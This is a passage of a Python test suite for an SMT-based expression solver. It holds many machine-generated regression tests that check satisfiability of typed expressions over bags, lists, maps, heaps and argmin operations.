'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('newstate').with_type(TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT')))]), collection_depth=2, validate_model=True)
def test_regression15(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('unique', EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), '==', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('newstate').with_type(TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT')))]), collection_depth=2, validate_model=True)
def test_regression16(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 0).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '<', ENum(50).with_type(TInt())).with_type(TBool()), 'and', EUnaryOp('unique', EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 0).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '<', ENum(50).with_type(TInt())).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(ECall('startOffset', (EVar('offsetAtt').with_type(TNative('OffsetAttribute')),)).with_type(TInt()), '>=', EArgMax(EMap(EFilter(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ECall('floatGtZero', (EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'score').with_type(TNative('Float')),)).with_type(TBool()))).with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'endOffset').with_type(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var550').with_type(TInt()), EVar('_var550').with_type(TInt()))).with_type(TInt())).with_type(TBool()), '==', EBinOp(ECall('startOffset', (EVar('_var861').with_type(TNative('OffsetAttribute')),)).with_type(TInt()), '>=', EArgMax(EMap(EFilter(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ECall('floatGtZero', (EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'score').with_type(TNative('Float')),)).with_type(TBool()))).with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'endOffset').with_type(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var550').with_type(TInt()), EVar('_var550').with_type(TInt()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), EVar('offsetAtt').with_type(TNative('OffsetAttribute')), EVar('_var861').with_type(TNative('OffsetAttribute'))]), collection_depth=2, validate_model=True)
def test_any_1(self):
xs = EVar("xs").with_type(BOOL_BAG)
e = EUnaryOp(UOp.Any, xs).with_type(BOOL)
a = EEq(EUnaryOp(UOp.Length, xs).with_type(INT), ZERO)
satisfy(EAll((a, e)), validate_model=True)
def test_bag_subtraction1(self):
xs = EVar("xs").with_type(TBag(INT))
e = equal(EBinOp(xs, "-", xs), EEmptyList().with_type(xs.type))
assert retypecheck(e)
assert valid(e)
def test_bag_subtraction2(self):
xs = EVar("xs").with_type(TBag(INT))
foo = EVar("foo").with_type(INT)
e = equal(EBinOp(xs, "-", ESingleton(foo)), EEmptyList().with_type(xs.type))
assert retypecheck(e)
assert not valid(e, collection_depth=2)
def test_str_literal_cmp(self):
v = EVar("s").with_type(STRING)
s = EStr("").with_type(STRING)
assert not satisfiable(EBinOp(v, "<", s).with_type(BOOL))
for op in ("==", "<=", ">", ">="):
e = EBinOp(v, op, s).with_type(BOOL)
model = satisfy(e)
assert model is not None
assert {
"==": model[v.id] == s.val,
">" : model[v.id] > s.val,
">=": model[v.id] >= s.val,
"<" : model[v.id] < s.val,
"<=": model[v.id] <= s.val,
}[op], "{} {} {}".format(repr(model[v.id]), op, repr(s.val))
def test_map_default_value(self):
xs = EVar("xs").with_type(TBag(INT))
x = EVar("x").with_type(INT)
m = EMakeMap2(xs, mk_lambda(INT, lambda y: y))
e = EAll([
equal(x, EMapGet(EMakeMap2(EEmptyList().with_type(xs.type), mk_lambda(INT, lambda y: y)), x)),
EBinOp(x, BOp.In, xs),
EBinOp(x, BOp.In, EMapKeys(m)),
])
assert retypecheck(e)
model = satisfy(e, validate_model=True)
assert model
def test_function_extraction01(self):
x = EVar("x").with_type(INT)
e = EEq(ECall("f", (x,)).with_type(INT), ZERO)
model = satisfy(e)
assert model
assert model["f"](model["x"]) == 0
def test_function_extraction02(self):
x = EVar("x").with_type(TNative("Foo"))
e = ECall("f", (x,)).with_type(TBool())
model = satisfy(e)
assert "x" in model
assert "f" in model
assert model["f"](model["x"]) is True
def test_function_extraction03(self):
x = EVar("x").with_type(TNative("Foo"))
model = satisfy(EEq(x, x), funcs={ "f": TFunc((x.type,), BOOL) })
assert "x" in model
assert "f" in model
assert model["f"](model["x"]) in (True, False)
def test_function_extraction04(self):
x = EVar("x").with_type(TNative("Foo"))
model = satisfy(EEq(x, x), funcs={ "f": TFunc((), BOOL) })
assert "x" in model
assert "f" in model
assert model["f"]() in (True, False)
def test_function_extraction05(self):
x = EVar("x").with_type(TNative("Foo"))
e = ECall("f", ()).with_type(x.type)
model = satisfy(EEq(x, e))
assert "x" in model
assert "f" in model
assert model["f"](model["x"]) == model["x"]
def test_argmin1(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '+', ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt()), '+', EUnaryOp('-', EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt())).with_type(TInt())).with_type(TInt()), '==', EBinOp(EArgMin(EBinOp(EVar('_var164').with_type(TBag(TInt())), '+', ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt()), '+', EUnaryOp('-', EArgMin(EVar('_var164').with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt())).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('i').with_type(TInt()), EVar('_var164').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True)
def test_argmin2(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var70138').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41073').with_type(TInt()), ESingleton(EVar('_var41073').with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var70138').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41074').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41073').with_type(TInt()), EVar('_var41074').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var41073').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var70138').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('i').with_type(TInt()), EVar('_var41073').with_type(TInt())]), collection_depth=2, validate_model=True)
def test_argmin3(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var157969').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29812').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29812').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var29811').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var157969').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29811').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var29812').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29812').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var29811').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var157969').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('_var29811').with_type(TInt())]), collection_depth=2, validate_model=True)
def test_argmin4(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var172384').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var172384').with_type(TInt()), 'in', ECond(EBinOp(EVar('i').with_type(TInt()), '>', EArgMin(EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBool()), ESingleton(EArgMin(EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var172384').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('_var9300').with_type(TInt()), EVar('i').with_type(TInt())]), collection_depth=2, validate_model=True)
def test_argmin5(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var16748').with_type(TInt()), 'in', EStateVar(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var1021').with_type(TInt()), EVar('_var1021').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var16748').with_type(TInt()), 'in', EVar('xs').with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var16748').with_type(TInt()), EVar('xs').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True)
def test_argmin6(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EUnaryOp('sum', EMap(EVar('_var66').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt()), '==', EArgMin(EBinOp(EVar('_var66').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('_var66').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('_var66').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True)
def test_argmin7(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('sum', EMap(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var616').with_type(TInt()), 'in', EBinOp(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), '-', ESingleton(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var616').with_type(TInt()), 'in', EBinOp(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), '-', ESingleton(EArgMin(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('_var616').with_type(TInt())]), collection_depth=2, validate_model=True)
def test_minheap(self):
e = EVar("h").with_type(TMinHeap(BOOL, INT))
check_encoding(e, require=EGt(ELen(EHeapElems(e).with_type(BOOL_BAG)), TWO))
def test_maxheap(self):
e = EVar("h").with_type(TMaxHeap(BOOL, INT))
check_encoding(e, require=EGt(ELen(EHeapElems(e).with_type(BOOL_BAG)), TWO))
def test_lists1(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('l').with_type(TList(TNative('Object'))), '==', EDropFront(EBinOp(EVar('l').with_type(TList(TNative('Object'))), '+', ESingleton(EListGet(EVar('l').with_type(TList(TNative('Object'))), ENum(0).with_type(TInt())).with_type(TNative('Object'))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('l').with_type(TList(TNative('Object')))]), collection_depth=2, validate_model=True)
def test_lists2(self):
xs = EVar("xs").with_type(TList(INT))
e = ENot(EEq(xs, xs))
assert not satisfiable(e, collection_depth=2, validate_model=True)
def test_lists3(self):
xs = EVar("xs").with_type(TList(INT))
ys = EVar("ys").with_type(TList(INT))
e = EAll([EEq(xs, ys), EUnaryOp(UOp.Exists, xs).with_type(BOOL)])
check_encoding(e, collection_depth=2)
def test_lists4(self):
xs = EVar("xs").with_type(TList(INT))
e = EEq(xs, EDropFront(xs).with_type(xs.type))
check_encoding(e, collection_depth=2)
def test_lists5(self):
xs = EVar("xs").with_type(TList(INT))
e = EAll([
EUnaryOp(UOp.Empty, EDropFront(xs).with_type(xs.type)).with_type(BOOL),
EUnaryOp(UOp.Exists, xs).with_type(BOOL)])
check_encoding(e, collection_depth=2)
def test_listget_performance(self):
a = EVar("a").with_type(TList(TString()))
b = EVar("b").with_type(a.type)
i = EVar("i").with_type(INT)
f = EEq(EListGet(a, i).with_type(a.type.t), EListGet(b, i).with_type(a.type.t))
for d in range(0, 6):
d = 2**d
print("depth={}...".format(d))
m = satisfy(f, collection_depth=d, validate_model=True)
print(m)
assert m is not None
def test_listget_regression1(self):
satisfy(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EVar('isDropped').with_type(TBool()), '=>', EBinOp(EBinOp(EVar('dropped').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('dropped').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('exists', EVar('xs').with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool()), '=>', EBinOp(EUnaryOp('the', ECond(EStateVar(EVar('isDropped').with_type(TBool())).with_type(TBool()), EBinOp(EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat()), '==', ECond(EStateVar(EVar('isDropped').with_type(TBool())).with_type(TBool()), ECond(EBinOp(EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat()), '==', EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TBool()), 